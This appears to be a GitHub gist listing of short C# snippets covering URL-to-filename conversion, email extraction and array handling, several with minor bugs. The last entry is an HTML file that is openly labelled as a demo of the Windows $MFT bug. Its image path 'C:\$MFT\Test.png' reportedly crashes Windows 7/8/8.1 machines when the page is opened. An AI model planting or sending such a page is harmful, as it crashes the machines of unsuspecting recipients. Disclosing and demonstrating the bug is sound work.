Skip to content

Instantly share code, notes, and snippets.

@vkbandi
vkbandi / FileNameFromURL.cs
Created September 16, 2015 20:27
C# simple class to convert a URL into acceptable windows file name
using System;
using System.Collections.Generic;
using System.Text;
using System.Text.RegularExpressions;
namespace Coderbuddy
{
public class FileNameFromURL
{
public string ConvertToWindowsFileName(string urlText)
@vkbandi
vkbandi / ExtractEmail.cs
Last active July 6, 2021 19:54
C# code to extract Email from text
using System;
using System.Collections.Generic;
using System.Text;
using System.Text.RegularExpressions;
namespace Coderbuddy
{
public class ExtractEmail
{
public List<string> ExtractEmails(string textToScrape)
@vkbandi
vkbandi / ResizeArray.cs
Created September 16, 2015 20:41
Resizing an array at runtime in C#
int myArray = new int[0];
for (int i = 0; i < 10; i++)
{
Array.Resize(ref myArray, myArray.Length+1);
myArray[myArray.Length - 1] = i;
}
@vkbandi
vkbandi / ArrayDeclaration.cs
Created September 16, 2015 20:43
Array declaration in C#
//DataType[] Array_Name=new string[Array_Length];
int[] myArray=new int[10];
@vkbandi
vkbandi / StoreValuesInArray.cs
Created September 16, 2015 20:45
Simple code to show how to store values in array in C#
int myArray = new int[10];
for (int i = 0; i < myArray.Length; i++)
{
myArray[i] = i;
}
@vkbandi
vkbandi / DoNotOpen_MFT_BugDemo.html
Last active May 26, 2017 12:26
A simple html, which when opened in windows machine with a $MFT bug will crash that machine
<html>
<head>
<title>
Restart your PC, if you are on windows 7, 8, 8.1
</title>
</head>
<body>
<a href='https://coderbuddy.wordpress.com/2017/05/26/mft-bug-in-windows-7-others/'>Click to read more about this</a>
<img src='C:\$MFT\Test.png' />
</body>